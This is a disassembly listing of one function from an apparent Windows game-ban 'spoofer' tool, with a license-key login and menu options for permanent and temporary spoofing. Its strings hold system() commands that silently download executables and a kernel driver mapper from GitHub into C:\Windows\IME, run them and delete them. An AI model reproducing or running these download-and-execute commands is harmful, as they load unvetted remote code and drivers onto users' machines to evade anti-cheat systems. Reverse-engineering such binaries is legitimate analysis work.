Function at 0x140038010
Capabilities:
Delete file
Execute command

Disassembly:
mov r11, rsp
mov qword [r11 + 0x18], rbx
push rbp
push rsi
push rdi
push r12
push r14
lea rbp, [r11 - 0x78]
sub rsp, 0x150
movaps xmmword [r11 - 0x38], xmm6
movaps xmmword [r11 - 0x48], xmm7
movaps xmmword [r11 - 0x88], xmm11
movaps xmmword [r11 - 0x98], xmm12
movaps xmmword [r11 - 0xa8], xmm13
movaps xmmword [r11 - 0xb8], xmm14
movaps xmmword [r11 - 0xc8], xmm15
mov rax, qword [0x1401940c0]
xor rax, rsp
mov qword [rbp - 0x60], rax
mov rax, qword [0x14025d350]
lea rcx, str.Main_Window
xor edx, edx
mov qword [r11 + 8], r13
mov r8d, 0xbb
mov dword [rbp - 0x70], 0x441c4000
mov dword [rbp - 0x6c], 0x43d48000
mov dword [rax + 0x3800], 0x40c00000
mov dword [rax + 0x37f0], 0x3f800000
call fcn.14000d0c0
mov r10, qword [0x14025d350]
lea rdx, [rbp - 0x70]
xor r8d, r8d
mov rcx, qword [r10 + 0x3ef0]
call fcn.140010040
mov rax, qword [r10 + 0x3ef0]
lea rcx, [rsp + 0x60]
mov dword [rsp + 0x60], 0x3d71a9fc
xorps xmm11, xmm11
mov dword [rsp + 0x64], 0x3d71a9fc
mov dword [rsp + 0x68], 0x3d71a9fc
mov byte [rax + 0xb8], 1
movss xmm0, dword [r10 + 0x37f0]
mulss xmm0, dword [0x14017c394]
mov dword [rbp - 0x70], 0x441c0000
mov dword [rbp - 0x6c], 0x43d40000
mov qword [rsp + 0x50], 0
movss dword [rsp + 0x6c], xmm0
call fcn.140003c30
mov rcx, qword [r10 + 0x3ef0]
lea r8, [rbp - 0x70]
movss xmm0, dword [0x14017c3e8]
lea rdx, [rsp + 0x50]
xor r12d, r12d
mov r9d, eax
mov dword [rsp + 0x28], r12d
mov rcx, qword [rcx + 0x298]
movss dword [rsp + 0x20], xmm0
call fcn.14001eb30
mov ecx, 1
call fcn.140003f90
mov rax, qword [0x14025d350]
lea rdx, [0x14025dc78]
movups xmm0, xmmword [0x1401421c0]
mov rcx, qword [0x14025dc70]
mov qword [rax + 0x3800], 0x40c00000
mov dword [rax + 0x381c], 0x40c00000
mov qword [rax + 0x3834], 0x40000000
mov qword [rax + 0x37f8], r12
movups xmmword [rax + 0x3908], xmm0
mov dword [rax + 0x3864], 0x40a00000
mov dword [rax + 0x3868], 0x41200000
mov dword [rax + 0x383c], 0x41200000
mov dword [rax + 0x3840], 0x41700000
call qword [sym.imp.USER32.dll_GetWindowRect]
mov rax, qword [0x14025d350]
mov r9d, 0x271
movd xmm0, dword [0x14025dc7c]
movd xmm1, dword [0x14025dc78]
cvtdq2ps xmm0, xmm0
mov rcx, qword [rax + 0x3ef0]
mov dword [rsp + 0x28], 1
mov dword [rsp + 0x20], 0x1a9
cvtdq2ps xmm1, xmm1
addss xmm0, dword [rcx + 0x24]
addss xmm1, dword [rcx + 0x20]
mov rcx, qword [0x14025dc70]
cvttss2si r8d, xmm0
cvttss2si edx, xmm1
call qword [sym.imp.USER32.dll_MoveWindow]
mov rdi, qword [0x14025d350]
lea rdx, [rbp - 0x70]
xor r8d, r8d
mov qword [rbp - 0x70], r12
mov rcx, qword [rdi + 0x3ef0]
call fcn.14000fed0
mov r9, qword [0x14025dc50]
mov esi, r12d
mov r8, qword [0x14025dc48]
mov rcx, r9
sub rcx, r8
movabs r13, 0x4924924924924925
mov rax, r13
imul rcx
sar rdx, 3
mov rax, rdx
shr rax, 0x3f
add rdx, rax
je 0x14003835e
movss xmm6, dword [0x14017c340]
mov ebx, r12d
movss xmm7, dword [0x14017c434]
nop dword [rax]
nop word [rax + rax]
movss xmm0, dword [rbx + r8 + 0xc]
mulss xmm0, xmm6
mulss xmm0, xmm7
addss xmm0, dword [rbx + r8 + 4]
movss dword [rbx + r8 + 4], xmm0
mov r8, qword [0x14025dc48]
comiss xmm11, dword [rbx + r8 + 4]
jbe 0x140038324
mov dword [rbx + r8 + 4], 0x43ed8000
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov r8d, eax
mov eax, 0x5d9f7391
imul r8d
mov rax, qword [0x14025dc48]
sar edx, 8
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
imul ecx, edx, 0x2bc
sub r8d, ecx
movd xmm0, r8d
cvtdq2ps xmm0, xmm0
movss dword [rbx + rax], xmm0
mov r8, qword [0x14025dc48]
mov r9, qword [0x14025dc50]
inc esi
mov rcx, r9
mov rax, r13
sub rcx, r8
add rbx, 0x1c
imul rcx
sar rdx, 3
mov rax, rdx
shr rax, 0x3f
add rdx, rax
movsxd rax, esi
cmp rax, rdx
jb 0x1400382b0
mov rdi, qword [0x14025d350]
movss xmm13, dword [0x14017c374]
sub r9, r8
mov rax, r13
mov qword [rsp + 0x188], r15
imul r9
mov r14d, r12d
sar rdx, 3
mov rax, rdx
shr rax, 0x3f
add rdx, rax
je 0x14003844c
mov r8, r12
mov rsi, r12
mov rax, qword [rdi + 0x3ef0]
imul rdx, r8, 0x1c
mov byte [rax + 0xb8], 1
mov rax, qword [rdi + 0x3ef0]
mov rbx, qword [rax + 0x298]
mov rax, qword [0x14025dc48]
add rdx, rax
mov r15d, dword [rsi + rax + 0x18]
movss xmm2, dword [rsi + rax + 0x14]
test r15d, 0xff000000
je 0x14003841b
comiss xmm13, xmm2
ja 0x14003841b
xor r9d, r9d
mov dword [rsp + 0x20], Ordinal_50
mov rcx, rbx
call fcn.14001db50
mov r8d, dword [rbx + 0x78]
mov r9d, r15d
mov rdx, qword [rbx + 0x80]
dec r8d
mov rcx, rbx
mov dword [rbx + 0x78], r8d
call fcn.14001d590
mov rdi, qword [0x14025d350]
mov dword [rbx + 0x78], r12d
mov rax, qword [0x14025dc48]
mov rcx, qword [0x14025dc50]
inc r14d
sub rcx, rax
movsxd r8, r14d
mov rax, r13
add rsi, 0x1c
imul rcx
sar rdx, 3
mov rax, rdx
shr rax, 0x3f
add rdx, rax
cmp r8, rdx
jb 0x140038395
mov rax, qword [rdi + 0x3ef0]
movss xmm14, dword [0x14017c408]
mov r13, qword [rsp + 0x180]
mov edx, 4
mov byte [rax + 0xb8], 1
mov rax, qword gs:[0x58]
movss xmm12, dword [rdi + 0x18]
mov r14, qword [rdi + 0x3ef0]
mulss xmm12, xmm14
mov rcx, qword [rax]
mov eax, dword [rdx + rcx]
cmp dword [0x14025ddc4], eax
jle 0x1400384c7
lea rcx, [0x14025ddc4]
call fcn.14010ce38
cmp dword [0x14025ddc4], 0xffffffff
jne 0x1400384c7
movss xmm0, dword [rdi + 0x18]
lea rcx, [0x14025ddc4]
movss dword [0x14025ddc0], xmm0
call fcn.14010cdcc
movss xmm0, dword [0x14017c3f4]
movss xmm3, dword [0x14017c4c0]
movss dword [rsp + 0x20], xmm0
call fcn.140035900
mov rcx, qword [0x14025d350]
mov dword [rbp - 0x70], 0x3f800000
mov dword [rbp - 0x6c], 0x3f800000
mov dword [rbp - 0x68], 0x3f800000
mov rax, qword [rcx + 0x3ef0]
mov rbx, qword [rcx + 0x3c38]
mov byte [rax + 0xb8], 1
mov rax, qword [rcx + 0x3ef0]
movss xmm0, dword [rcx + 0x37f0]
lea rcx, [rbp - 0x70]
movss dword [rbp - 0x64], xmm0
mov r8, qword [rax + 0x298]
call fcn.140003c30
mov rcx, qword [0x14025dd00]
lea rsi, str.SPOOFER
mov dword [rbp - 0x70], 0x41700000
mov dword [rbp - 0x6c], 0x41b00000
test eax, 0xff000000
je 0x1400385b3
test rcx, rcx
jne 0x140038567
mov rcx, qword [r8 + 0x38]
mov rcx, qword [rcx + 8]
movups xmm0, xmmword [r8 + 0x88]
lea rdx, [0x14017c047]
mov byte [rsp + 0x48], r12b
movss xmm2, dword [0x14017c418]
lea r9, [rbp - 0x70]
movss dword [rsp + 0x40], xmm11
mov qword [rsp + 0x38], rdx
lea rdx, [rsp + 0x70]
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x28], rdx
mov rdx, r8
movups xmmword [rsp + 0x70], xmm0
mov dword [rsp + 0x20], eax
call fcn.1400242a0
movaps xmmword [rsp + 0x120], xmm8
mov rcx, rbx
movaps xmmword [rsp + 0x110], xmm9
movaps xmmword [rsp + 0x100], xmm10
call fcn.14000fe30
cmp dword [0x14025dcb8], r12d
movss xmm1, dword [0x14025dc68]
movss xmm15, dword [0x14017c424]
movss dword [rdi + 0x37f0], xmm1
jne 0x140038976
mov rax, qword [0x14025d350]
lea rcx, [rsp + 0x60]
movss xmm6, dword [0x14017b5e0]
movss xmm7, dword [0x14017b5e4]
movss xmm8, dword [0x14017b5e8]
addss xmm1, dword [rax + 0x18]
movss xmm9, dword [0x14017b5ec]
lea rax, [rsp + 0x50]
mov dword [rbp - 0x70], 0x3f800000
mov dword [rsp + 0x60], r12d
comiss xmm11, xmm1
movss dword [rsp + 0x50], xmm1
cmovbe rcx, rax
lea rax, [rbp - 0x70]
comiss xmm1, dword [0x14017c3a8]
cmovbe rax, rcx
mov rcx, qword [0x14025dcf0]
movss xmm0, dword [rax]
movss dword [0x14025dc68], xmm0
call fcn.14000fe30
mov rax, qword [0x14025d350]
lea rcx, [rsp + 0x50]
movss dword [rsp + 0x50], xmm6
movss dword [rsp + 0x54], xmm7
movss dword [rsp + 0x58], xmm8
movss xmm0, dword [rax + 0x37f0]
mulss xmm9, xmm0
mov dword [rbp - 0x70], 0x432a0000
movss dword [rsp + 0x6c], xmm0
mov dword [rbp - 0x6c], 0x430c0000
movss dword [rsp + 0x5c], xmm9
mov dword [rsp + 0x60], 0x3f800000
mov dword [rsp + 0x64], 0x3f800000
mov dword [rsp + 0x68], 0x3f800000
call fcn.140003c30
lea rcx, [rsp + 0x60]
mov r8d, eax
call fcn.140003c30
movss xmm10, dword [0x14017c43c]
lea rcx, str.PROGORE843
mov edx, eax
movaps xmm3, xmm10
lea rax, [rbp - 0x70]
mov qword [rsp + 0x20], rax
call fcn.14002c900
mov rcx, qword [0x14025dcf0]
movss xmm6, dword [0x14017b5e0]
movss xmm7, dword [0x14017b5e4]
movss xmm8, dword [0x14017b5e8]
movss xmm9, dword [0x14017b5ec]
call fcn.14000fe30
mov rax, qword [0x14025d350]
lea rcx, [rsp + 0x50]
movss dword [rsp + 0x50], xmm6
movss dword [rsp + 0x54], xmm7
movss dword [rsp + 0x58], xmm8
movss xmm0, dword [rax + 0x37f0]
mulss xmm9, xmm0
mov dword [rbp - 0x70], 0x43ac8000
movss dword [rsp + 0x6c], xmm0
mov dword [rbp - 0x6c], 0x430c0000
movss dword [rsp + 0x5c], xmm9
mov dword [rsp + 0x60], 0x3f800000
mov dword [rsp + 0x64], 0x3f800000
mov dword [rsp + 0x68], 0x3f800000
call fcn.140003c30
lea rcx, [rsp + 0x60]
mov r8d, eax
call fcn.140003c30
mov edx, eax
movaps xmm3, xmm10
lea rax, [rbp - 0x70]
mov rcx, rsi
mov qword [rsp + 0x20], rax
call fcn.14002c900
movss xmm6, dword [0x14017c484]
movss xmm0, dword [0x14017c46c]
movss xmm7, dword [0x14017c464]
movss dword [rsp + 0x28], xmm6
movaps xmm3, xmm7
movss dword [rsp + 0x20], xmm0
call fcn.140034fc0
movss xmm0, dword [0x14017c48c]
lea r8, str.Sign_In
movss dword [rsp + 0x30], xmm15
lea rdx, str.Login
movss dword [rsp + 0x28], xmm6
movaps xmm3, xmm7
movss dword [rsp + 0x20], xmm0
call fcn.140032c10
test al, al
je 0x14003896e
xorps xmm0, xmm0
mov qword [rbp - 0x80], r12
movups xmmword [rsp + 0x70], xmm0
mov qword [rbp - 0x78], r12
lea r15, [0x14025ddc8]
mov rbx, 0xffffffffffffffff
inc rbx
cmp byte [r15 + rbx], r12b
jne 0x140038843
movabs rsi, 0x7fffffffffffffff
cmp rbx, rsi
ja 0x14003951a
cmp rbx, 0xf
ja 0x14003888b
mov r8, rbx
mov qword [rbp - 0x80], rbx
mov rdx, r15
mov qword [rbp - 0x78], reloc.WS2_32.dll_ntohs
lea rcx, [rsp + 0x70]
call sub.VCRUNTIME140.dll_memcpy
mov byte [rsp + rbx + 0x70], r12b
jmp 0x140038923
mov rax, rbx
or rax, 0xf
cmp rax, rsi
jbe 0x1400388c0
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.14010d150
test rax, rax
je 0x1400388f5
lea rdi, [rax + 0x27]
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x140038904
mov ecx, reloc.WLDAP32.dll_Ordinal_22
cmp rax, rcx
cmovb rax, rcx
mov rsi, rax
lea rcx, [rax + 1]
test rcx, rcx
jne 0x1400388dd
mov rdi, r12
jmp 0x140038904
cmp rcx, 0x1000
jb 0x1400388fc
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140039520
jmp 0x1400388a5
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14010d150
mov rdi, rax
mov r8, rbx
mov qword [rsp + 0x70], rdi
mov rdx, r15
mov qword [rbp - 0x80], rbx
mov rcx, rdi
mov qword [rbp - 0x78], rsi
call sub.VCRUNTIME140.dll_memcpy
mov byte [rdi + rbx], r12b
lea rdx, [rsp + 0x70]
lea rcx, [0x14025d940]
call fcn.1400b62b0
cmp byte [0x14025db70], r12b
je 0x140038955
movaps xmm1, xmm11
mov dword [0x14025dcb8], 1
movss dword [0x14025dc68], xmm1
jmp 0x140038983
xor r9d, r9d
lea r8, str.Error
lea rdx, str.Invalid_License_Key.
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
movss xmm1, dword [0x14025dc68]
cmp dword [0x14025dcb8], 1
jne 0x1400394a6
movss xmm0, dword [0x14017c3dc]
movss xmm2, dword [0x14025ddc0]
comiss xmm0, xmm2
jb 0x1400389b4
cvtps2pd xmm0, xmm2
addsd xmm0, qword [0x14017c3c0]
cvtpd2ps xmm0, xmm0
movss dword [0x14025ddc0], xmm0
jmp 0x1400394ab
mov rdx, qword [0x14025d350]
lea rax, [rsp + 0x50]
movss xmm7, dword [0x14017c3a8]
lea rcx, [rbp - 0x70]
movss xmm6, dword [0x14017c420]
mov dword [rsp + 0x60], 0x3f800000
addss xmm1, dword [rdx + 0x18]
mov dword [rbp - 0x70], r12d
comiss xmm11, xmm1
movss dword [rsp + 0x50], xmm1
cmovbe rcx, rax
lea rax, [rsp + 0x60]
comiss xmm1, xmm7
cmovbe rax, rcx
lea rcx, [rsp + 0x60]
movss xmm0, dword [rax]
movss dword [0x14025dc68], xmm0
movss xmm0, dword [rdx + 0x37f0]
movss dword [rsp + 0x6c], xmm0
mov dword [rsp + 0x60], 0x3f800000
mov dword [rsp + 0x64], 0x3f800000
mov dword [rsp + 0x68], 0x3f800000
mov dword [rbp - 0x70], 0x43070000
mov dword [rbp - 0x6c], 0x42280000
mov dword [rsp + 0x50], 0x43070000
mov dword [rsp + 0x54], 0x41e00000
call fcn.140003c30
mov rcx, qword [r14 + 0x298]
lea rdx, [rsp + 0x50]
mov r9d, eax
movss dword [rsp + 0x20], xmm7
lea r8, [rbp - 0x70]
call fcn.14001e8f0
mov rbx, qword [0x14025d350]
lea rsi, str.Home
cmp dword [0x14025dd0c], r12d
lea rdx, [rsp + 0x50]
movss xmm10, dword [0x14017c4e4]
movss xmm9, dword [0x14017c4f0]
movaps xmm3, xmm10
movss xmm2, dword [rbx + 0x3c40]
sete dil
mov rcx, qword [rbx + 0x3c38]
mov qword [rsp + 0x30], r12
mov qword [rsp + 0x28], rsi
movss dword [rsp + 0x20], xmm9
call fcn.140024080
movss xmm2, dword [rbx + 0x3c40]
lea rdx, [rbp - 0x70]
mov rcx, qword [rbx + 0x3c38]
movaps xmm3, xmm10
mov qword [rsp + 0x30], r12
mov qword [rsp + 0x28], rsi
movss dword [rsp + 0x20], xmm9
call fcn.140024080
movss xmm0, dword [rbp - 0x70]
movss xmm8, dword [0x14017c3a0]
addss xmm0, xmm8
mov byte [rsp + 0x40], dil
cvttss2si eax, xmm0
movss xmm0, dword [rsp + 0x54]
movss dword [rsp + 0x38], xmm0
movss xmm0, dword [0x14017c45c]
movd xmm1, eax
cvtdq2ps xmm1, xmm1
movss dword [rsp + 0x30], xmm1
movss dword [rsp + 0x28], xmm6
movss dword [rsp + 0x20], xmm0
call fcn.140033710
test al, al
je 0x140038b58
mov dword [0x14025dd0c], r12d
jmp 0x140038b65
cmp dword [0x14025dd0c], r12d
jne 0x140039038
mov rcx, qword [0x14025d350]
movaps xmm6, xmm14
subss xmm6, dword [0x14025c2f8]
movss xmm1, dword [0x14017c480]
subss xmm1, dword [0x14025c310]
movss xmm2, dword [0x14017c4c4]
subss xmm2, dword [0x14025c314]
mulss xmm6, xmm12
mov dword [rbp - 0x70], 0x3f800000
mulss xmm1, xmm12
mov dword [rbp - 0x6c], 0x3f800000
addss xmm6, dword [0x14025c2f8]
mulss xmm2, xmm12
mov dword [rbp - 0x68], 0x3f800000
addss xmm1, dword [0x14025c310]
addss xmm2, dword [0x14025c314]
movss dword [0x14025c2f8], xmm6
movss dword [0x14025c310], xmm1
movss dword [0x14025c314], xmm2
mov rax, qword [rcx + 0x3ef0]
mov rbx, qword [rcx + 0x3c38]
mov byte [rax + 0xb8], 1
mov rax, qword [rcx + 0x3ef0]
movss xmm0, dword [rcx + 0x37f0]
lea rcx, [rbp - 0x70]
movss dword [rbp - 0x64], xmm0
mov r8, qword [rax + 0x298]
call fcn.140003c30
mov rcx, qword [0x14025dc88]
movss xmm7, dword [0x14017c40c]
movss dword [rbp - 0x70], xmm6
mov dword [rbp - 0x6c], 0x42ae0000
test eax, 0xff000000
je 0x140038ca2
test rcx, rcx
jne 0x140038c54
mov rcx, qword [r8 + 0x38]
mov rcx, qword [rcx + 8]
movups xmm0, xmmword [r8 + 0x88]
mov byte [rsp + 0x48], r12b
lea rdx, [0x14017c0d5]
movss dword [rsp + 0x40], xmm11
lea r9, [rbp - 0x70]
mov qword [rsp + 0x38], rdx
movaps xmm2, xmm7
lea rdx, str.Select_a_game
mov qword [rsp + 0x30], rdx
lea rdx, [rsp + 0x70]
mov qword [rsp + 0x28], rdx
mov rdx, r8
movups xmmword [rsp + 0x70], xmm0
mov dword [rsp + 0x20], eax
call fcn.1400242a0
mov rcx, rbx
call fcn.14000fe30
mov rcx, qword [0x14025d350]
movss xmm6, dword [0x14025c314]
movss xmm8, dword [0x14017c494]
subss xmm6, xmm8
mov dword [rbp - 0x70], 0x3f800000
mov rax, qword [rcx + 0x3ef0]
mov rbx, qword [rcx + 0x3c38]
mov dword [rbp - 0x6c], 0x3f800000
mov dword [rbp - 0x68], 0x3f800000
mov byte [rax + 0xb8], 1
mov rax, qword [rcx + 0x3ef0]
movss xmm0, dword [rcx + 0x37f0]
lea rcx, [rbp - 0x70]
movss dword [rbp - 0x64], xmm0
mov r8, qword [rax + 0x298]
call fcn.140003c30
mov rcx, qword [0x14025dc88]
movss dword [rbp - 0x70], xmm6
mov dword [rbp - 0x6c], 0x42ae0000
test eax, 0xff000000
je 0x140038d8a
test rcx, rcx
jne 0x140038d3c
mov rcx, qword [r8 + 0x38]
mov rcx, qword [rcx + 8]
movups xmm0, xmmword [r8 + 0x88]
mov byte [rsp + 0x48], r12b
lea rdx, [0x14017c0e0]
movss dword [rsp + 0x40], xmm11
lea r9, [rbp - 0x70]
mov qword [rsp + 0x38], rdx
movaps xmm2, xmm7
lea rdx, str.Optional
mov qword [rsp + 0x30], rdx
lea rdx, [rsp + 0x70]
mov qword [rsp + 0x28], rdx
mov rdx, r8
movups xmmword [rsp + 0x70], xmm0
mov dword [rsp + 0x20], eax
call fcn.1400242a0
mov rcx, rbx
call fcn.14000fe30
movss xmm0, dword [0x14017c4a0]
lea rdx, str.Selectable_items
movss xmm1, dword [0x14017c4ac]
movss xmm3, dword [0x14017c444]
movss xmm2, dword [0x14025c2f8]
movss dword [rsp + 0x28], xmm0
movss dword [rsp + 0x20], xmm1
call fcn.140032b30
movss xmm0, dword [0x14017c438]
movss xmm1, dword [0x14017c49c]
movss xmm3, dword [0x14017c400]
mov byte [rsp + 0x38], 1
movss dword [rsp + 0x30], xmm0
movss dword [rsp + 0x28], xmm1
movss dword [rsp + 0x20], xmm14
mov dword [0x14025dd08], 3
call fcn.140033d30
test al, al
je 0x140038e17
mov dword [0x14025dd08], 3
mov rcx, qword [0x14025d350]
mov rax, qword [rcx + 0x3ef0]
mov byte [rax + 0xb8], 1
mov rax, qword [rcx + 0x3ef0]
cmp byte [rax + 0xbb], r12b
jne 0x140038e4d
movaps xmm1, xmm9
mov qword [rbp - 0x70], r12
lea rcx, [rbp - 0x70]
call fcn.140012700
call fcn.14000a6d0
movss xmm2, dword [0x14025c314]
lea rdx, str.Parameters
movss xmm0, dword [0x14017c448]
subss xmm2, xmm8
movss xmm1, dword [0x14017c498]
movss xmm3, dword [0x14017c440]
movss dword [rsp + 0x28], xmm0
movss dword [rsp + 0x20], xmm1
call fcn.140032b30
movss xmm0, dword [0x14017c464]
movss xmm3, dword [0x14017c47c]
movss dword [rsp + 0x30], xmm0
movss dword [rsp + 0x20], xmm14
call fcn.1400345c0
call fcn.14000a6d0
movss xmm0, dword [0x14017c490]
lea r8, str.Perm_Spoof
movss xmm8, dword [0x14017c4b0]
lea rdx, str.Spoof
movss dword [rsp + 0x30], xmm15
movaps xmm3, xmm8
movss dword [rsp + 0x28], xmm0
movss xmm0, dword [0x14025c310]
movss dword [rsp + 0x20], xmm0
call fcn.140032c10
test al, al
je 0x140038f0e
mov dword [0x14025dd0c], 5
mov dword [0x14025dc68], r12d
movss xmm0, dword [0x14025c310]
lea r8, str.Apple_Clean
movss xmm6, dword [0x14017c428]
lea rdx, str.SpoofASUS
movss xmm7, dword [0x14017c454]
addss xmm0, xmm6
movss dword [rsp + 0x30], xmm15
movaps xmm3, xmm8
movss dword [rsp + 0x28], xmm7
movss dword [rsp + 0x20], xmm0
call fcn.140032c10
test al, al
je 0x140038f72
lea rcx, str.curl___silent__o__C:WindowsIMEAppleCleaner.exe___https:__raw.githubusercontent.com_HayHayGamez_AppleCleaner_main_AppleCleaner.exe_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.C:WindowsIMEAppleCleaner.exe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movss xmm0, dword [0x14025c310]
lea r8, str.Temp_Spoof
movss xmm3, dword [0x14017c4b8]
addss xmm0, xmm6
movss dword [rsp + 0x30], xmm15
lea rdx, str.TEMPSpoof
movss dword [rsp + 0x28], xmm7
movss dword [rsp + 0x20], xmm0
call fcn.140032c10
test al, al
je 0x14003902f
lea rcx, [0x14017be10]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.curl___silent__o__C:WindowsIMEdrv.sys___https:__raw.githubusercontent.com_HayHay_Ranks_fnstuff_main_drv.sys_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.curl___silent__o__C:WindowsIME_spoof.exe___https:__raw.githubusercontent.com_paysonism_saturn_mapper_main_mapper_build_saturn.exe_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, str.cd_C:WindowsIME__spoof.exe_drv.sys
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [0x14017be10]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.C:WindowsIME_spoof.exe
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
lea rcx, str.C:WindowsIMEdrv.sys
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
xor r9d, r9d
lea r8, str.Success
lea rdx, str.Finished_Temporary_Spoofing_
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
movss xmm8, dword [0x14017c3a0]
cmp dword [0x14025dd0c], 5
jne 0x1400392fa
cmp byte [0x14025d34a], r12b
jne 0x1400392fa
mov rbx, qword [0x14025d350]
lea rsi, str.Spoofing...
mov qword [rsp + 0x30], r12
lea rdx, [rbp - 0x70]
mov qword [rsp + 0x28], rsi
movaps xmm3, xmm10
movss dword [rsp + 0x20], xmm9
movss xmm2, dword [rbx + 0x3c40]
mov rcx, qword [rbx + 0x3c38]
call fcn.140024080
movss xmm7, dword [0x14017c4b4]
lea rdx, [rbp - 0x70]
subss xmm7, dword [rbp - 0x6c]
movss xmm2, dword [rbx + 0x3c40]
movaps xmm3, xmm10
mov rcx, qword [rbx + 0x3c38]
mov qword [rsp + 0x30], r12
mov qword [rsp + 0x28], rsi
mulss xmm7, xmm13
movss dword [rsp + 0x20], xmm9
call fcn.140024080
movss xmm0, dword [rbp - 0x70]
lea rcx, [rbp - 0x70]
mov rdi, qword [rbx + 0x3c38]
addss xmm0, xmm8
mov dword [rbp - 0x70], 0x3f800000
mov dword [rbp - 0x6c], 0x3f800000
mov dword [rbp - 0x68], 0x3f800000
cvttss2si eax, xmm0
movd xmm6, eax
mov rax, qword [rbx + 0x3ef0]
cvtdq2ps xmm6, xmm6
mov byte [rax + 0xb8], 1
mov rax, qword [rbx + 0x3ef0]
movss xmm0, dword [rbx + 0x37f0]
movss dword [rbp - 0x64], xmm0
mov r8, qword [rax + 0x298]
call fcn.140003c30
movss xmm0, dword [0x14017c4c8]
mov r9d, eax
mov rcx, qword [0x14025dc88]
subss xmm0, xmm6
movss dword [rbp - 0x6c], xmm7
mulss xmm0, xmm13
movss dword [rbp - 0x70], xmm0
test eax, 0xff000000
je 0x1400391b5
test rcx, rcx
jne 0x140039168
mov rax, qword [r8 + 0x38]
mov rcx, qword [rax + 8]
movups xmm0, xmmword [r8 + 0x88]
lea rax, [0x14017c283]
mov byte [rsp + 0x48], r12b
movss xmm2, dword [0x14017c410]
mov rdx, r8
movss dword [rsp + 0x40], xmm11
mov qword [rsp + 0x38], rax
lea rax, [rsp + 0x70]
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], r9d
lea r9, [rbp - 0x70]
movups xmmword [rsp + 0x70], xmm0
call fcn.1400242a0
mov rcx, rdi
call fcn.14000fe30
mov rcx, qword [0x14025d350]
mov r10, qword [0x14025dcc0]
mov qword [rbp - 0x70], r12
mov dword [rsp + 0x50], 0x3f800000
mov rax, qword [rcx + 0x3ef0]
mov dword [rsp + 0x54], 0x3f800000
mov dword [rsp + 0x60], 0x420c0000
mov dword [rsp + 0x64], 0x420c0000
mov byte [rax + 0xb8], 1
mov rax, qword [rcx + 0x3ef0]
movss xmm1, dword [rax + 0x20]
subss xmm1, dword [rax + 0x84]
movss xmm0, dword [rax + 0x24]
subss xmm0, dword [rax + 0x88]
mov byte [rax + 0x141], 1
addss xmm1, dword [0x14017c4a4]
addss xmm0, dword [0x14017c478]
movss dword [rax + 0x100], xmm1
movss dword [rax + 0x104], xmm0
movss xmm1, dword [0x14025c2ec]
movss xmm0, dword [0x14025c2e8]
movss dword [rsp + 0x74], xmm1
movss xmm1, dword [0x14025c2f4]
mulss xmm1, dword [rcx + 0x37f0]
lea rcx, [rsp + 0x70]
movss dword [rsp + 0x70], xmm0
movss xmm0, dword [0x14025c2f0]
movss dword [rsp + 0x7c], xmm1
movss dword [rsp + 0x78], xmm0
call fcn.140003c30
movss xmm0, dword [0x14017c354]
lea r9, [rbp - 0x70]
movss dword [rsp + 0x28], xmm0
lea r8, [rsp + 0x50]
lea rdx, [rsp + 0x60]
mov dword [rsp + 0x20], eax
mov rcx, r10
call fcn.14002d9e0
mov ecx, 0x1388
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, str.curl___silent__o__C:WindowsIME_spf.exe___https:__raw.githubusercontent.com_HayHay_Ranks_roblox_main_spf.exe_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.C:_Windows_IME_spf.exe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.C:WindowsIME_spf.exe
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
mov byte [0x14025d34a], 1
mov dword [0x14025dcb8], 1
mov r8, qword [0x14025d350]
mov dword [rbp - 0x70], 0x441c0000
mov dword [rbp - 0x6c], 0x43d40000
mov dword [rsp + 0x50], 0x3f800000
mov rax, qword [r8 + 0x3ef0]
mov dword [rsp + 0x54], 0x3f800000
mov byte [rax + 0xb8], 1
mov rcx, qword [r8 + 0x3ef0]
mov rax, qword [rcx + 0x298]
mov ebx, dword [rax + 0x20]
mov byte [rcx + 0xb8], 1
lea rcx, [rsp + 0x70]
movss xmm1, dword [0x14025c2ec]
movss xmm0, dword [0x14025c2e8]
movss dword [rsp + 0x74], xmm1
movss xmm1, dword [0x14025c2f4]
mulss xmm1, dword [r8 + 0x37f0]
movss dword [rsp + 0x70], xmm0
movss xmm0, dword [0x14025c2f0]
movss dword [rsp + 0x7c], xmm1
movss dword [rsp + 0x78], xmm0
call fcn.140003c30
mov rcx, qword [r8 + 0x3ef0]
lea rdx, [rsp + 0x50]
movss xmm0, dword [0x14017c3c8]
lea r8, [rbp - 0x70]
movss dword [rsp + 0x30], xmm0
mov r9d, eax
movss xmm0, dword [0x14017c3e8]
mov rcx, qword [rcx + 0x298]
movss dword [rsp + 0x20], xmm0
call fcn.14001ea50
movss xmm1, dword [0x14025c2ec]
mov r10, qword [0x14025d350]
movdqa xmm0, xmmword [0x14017c630]
movss xmm6, dword [0x14017c458]
movups xmmword [rbp - 0x70], xmm0
mov rax, qword [r10 + 0x3ef0]
movss xmm0, dword [0x14025c2e8]
